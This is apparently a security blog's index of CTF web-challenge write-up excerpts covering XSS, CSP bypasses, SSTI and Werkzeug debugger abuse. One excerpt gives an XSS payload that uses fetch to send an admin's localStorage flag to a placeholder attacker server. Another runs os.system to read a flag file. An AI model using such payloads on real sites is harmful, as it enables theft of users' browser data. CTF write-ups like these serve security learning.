NahamCon CTF 2022

Just in Time Maple Bacon played in NahamCon CTF 2022 this past weekend, which came as a surprise - we were fully planning on focusing our efforts onto AngstromCTF which overlapped, however, NahamCon CTF proved to be interesting and good-quality so a last-minute decision was made to participate in both. AngstromCTF is still underway, but in the awkward passage of time between my last week and weekend, I played in NahamCon CTF for a little bit of practice. ...

May 2, 2022 · 1081 words · Vie

B01lers CTF 2022: hacker/place

Thoughts This year’s b01lers CTF was a great one for Maple Bacon, given that we came in first. A fantastic development, especially since last year we landed in 7th, so we’ve certainly improved a great deal since then. While the balance of problems was skewed, the CTF was overall an enjoyable experience. It was nice to delve into the different problems outside of web (whilst waiting for the one (1) web challenge to release), which reminded me I really need to touch up on my reversing skills, a 2022 new year resolution that I wanted to get into. Thankfully the year’s not over yet, so I still have plenty of time. ...

Apr 26, 2022 · 807 words · Vie

MapleCTF UBC ver. Retrospective

Jan 21-28 marked the inaugural MapleCTF: UBC version, Maple Bacon’s first CTF to hit the scene. For our very first, we wanted to keep it local. This made it very different from most other CTFs that one would be used to. We treated this as a beginner event - hoping to introduce the UBC community to the concept, well aware that we would have to cater to varying skill levels. ...

Jan 30, 2022 · 2954 words · Vie

ASIS Quals 2021: Lovely Nonce

Lovely Nonces is a challenge from ASIS Quals 2021, involving interesting CSP bypasses and stylesheet leaks. My teammate Ming and I solved this challenge together, and a copy of the writeup (with the index.html file used in the exploit) can be found in the UBC CTF blog. TL;DR CSS attribute selectors for a stylesheet leak of the CSP nonce combined with XSS. Recon The CSP is implemented via a meta-tag in the DOM, and not through response header as is usually the common practise. It’s just one directive, script-src, with the randomly generated nonce value, which we can try to retrieve. ...

Oct 24, 2021 · 785 words · Vie

RaRCTF 2021: MAAS 2 + Unintended Solutions

MAAS 2 // Notes Source was the same from MAAS 1 (and will be the same for MAAS 3). MAAS 2 involved the ’notes’ part of MAAS, where you are prompted to register a user and afterwards add key:val attributes to yourself, give yourself a bio, or transfer key:value attributes to another user. The provided source has some interesting code: notes/app.py @app.route('/useraction', methods=["POST"]) def useraction(): mode = request.form.get("mode") username = request.form.get("username") if mode == "register": r = requests.get('http://redis_userdata:5000/adduser') port = int(r.text) red = redis.Redis(host="redis_users") red.set(username, port) return "" elif mode == "adddata": red = redis.Redis(host="redis_users") port = red.get(username).decode() requests.post(f"http://redis_userdata:5000/putuser/{port}", json={ request.form.get("key"): request.form.get("value") }) return "" elif mode == "getdata": red = redis.Redis(host="redis_users") port = red.get(username).decode() r = requests.get(f"http://redis_userdata:5000/getuser/{port}") return jsonify(r.json()) elif mode == "bioadd": bio = request.form.get("bio") bio.replace(".", "").replace("_", "").\ replace("{", "").replace("}", "").\ replace("(", "").replace(")", "").\ replace("|", "") bio = re.sub(r'\[\[([^\[\]]+)\]\]', r'{{data["\g<1>"]}}', bio) red = redis.Redis(host="redis_users") port = red.get(username).decode() requests.post(f"http://redis_userdata:5000/bio/{port}", json={ "bio": bio }) return "" elif mode == "bioget": red = redis.Redis(host="redis_users") port = red.get(username).decode() r = requests.get(f"http://redis_userdata:5000/bio/{port}") return r.text elif mode == "keytransfer": red = redis.Redis(host="redis_users") port = red.get(username).decode() red2 = redis.Redis(host="redis_userdata", port=int(port)) red2.migrate(request.form.get("host"), request.form.get("port"), [request.form.get("key")], 0, 1000, copy=True, replace=True) return "" @app.route("/render", methods=["POST"]) def render_bio(): data = request.json.get('data') if data is None: data = {} return render_template_string(request.json.get('bio'), data=data) The relevant parts are when mode is equal to bioadd. There’s a pretty hefty sanitizer in play that removes all relevant characters required for an SSTI. This is further supplemented by the endpoint to /render, which takes your input and passes it into render_template_string. TL;DR: Server-Side Template Injection involves injecting code into template expressions that are evaluated on the server. Essentially, if you have an app vulnerable to SSTI, then you should be able to inject any expression into {{double curly brackets}} and that expression would be evaluated. ...

Aug 20, 2021 · 731 words · Vie

RaRCTF2021: Some simpler web probz

Fancy Button Generator // FBG A simple xss challenge with the slightest of twists: instead of stealing admin cookies, you’re stealing admin’s localstorage values. This was possible because the admin, which was a puppetteer chrome browser, was operating in no-sandbox mode. Insert as your payload: title: eh link: javascript:fetch('your.server?fleg='%2B(window.localStorage.getItem("flag"))); And report to admin. Careful with the wait times… NOTE: I first-blooded this challenge before certain measures were implemented. There were some issues with FBG throughout the competition that involved the organizers making amendments and introducing a pow to help with the stability of the infrastructure. I’m not aware of how the solution would have looked with the accompanying pow, unfortunately. ...

Aug 9, 2021 · 950 words · Vie

DEF CON Quals 2021: Getting Gud + threefactooorx

AKA - How I spent some time reading custom partially-deobfuscated javascript code and actually used the Chrome debugger for once DEF CON - undoubtedly the most notorious, famous and recgonized CTF out there. Even people who don’t do hacking know about DEF CON. The qualifiers, an event that took place this last weekend, ran for roughly 2 days and had 1 web challenge - which was more like reversing, but I’ll take what I can get. ...

Apr 11, 2021 · 1546 words · Vie

Bo1lersCTF 2021: Lorem_Ipsum

Lorem_Ipsum gave nothing but a simple homepage that allowed you to see “animal”-ified versions of the famous lorem ipsum placeholder text. Choose among the available animals, and notice a GET query parameter that looks something like ?animal=dogs. What if you gave it text garbage instead of an expected animal? This is a Werkzeug debugger! What fun, since Werkzeug in development mode will give you a python console with every traceback that is reported to you when something wrong happens. Easy challenge, except - ...

Apr 4, 2021 · 685 words · Vie

UTCTF 2021

Lightning Round The first few web challenges were pretty trivial so I’ll do super quick, 2-sentence descriptions on how to solve them. Source it! Inspect source. You’ll find it. Oinker Make an oink with the exact same content and realize that each oink has an allocated place in the webpage’s directory. (Example - inputting alert(1); leads to oink endpoint 64). Go to \oink\2 to get the flag. Fastfox (easy way) Intended (hard) solution was escalating a JIT bug, which I will definitely research more of so expect part 2 ;) but the easy way was determining what functions were available in the scope of Bob’s jsshell. Some recon shows us that os.system() is in the scope, so os.system('cat flag.txt') gives you the flag. ...

Mar 14, 2021 · 607 words · Vie

DiceCTF 2021

Babier CSP The challenge takes after justCTF’s similarly named challenge. We’re given an index.js file: const express = require('express'); const crypto = require("crypto"); const config = require("./config.js"); const app = express() const port = process.env.port || 3000; const SECRET = config.secret; const NONCE = crypto.randomBytes(16).toString('base64'); const template = name => ` <html> ${name === '' ? '': `<h1>${name}</h1>`} <a href='#' id=elem>View Fruit</a> <script nonce=${NONCE}> elem.onclick = () => { location = "/?name=" + encodeURIComponent(["apple", "orange", "pineapple", "pear"][Math.floor(4 * Math.random())]); } </script> </html> `; app.get('/', (req, res) => { res.setHeader("Content-Security-Policy", `default-src none; script-src 'nonce-${NONCE}';`); res.send(template(req.query.name || "")); }) app.use('/' + SECRET, express.static(__dirname + "/secret")); app.listen(port, () => { console.log(`Example app listening at http://localhost:${port}`) }) The main difference between Dice’s challenge and justCatTheFish’s is the hashing of the NONCE value. When this script is executed, it sets the NONCE value once, and it doesn’t change values once this server is running. ...

Feb 7, 2021 · 2261 words · Vie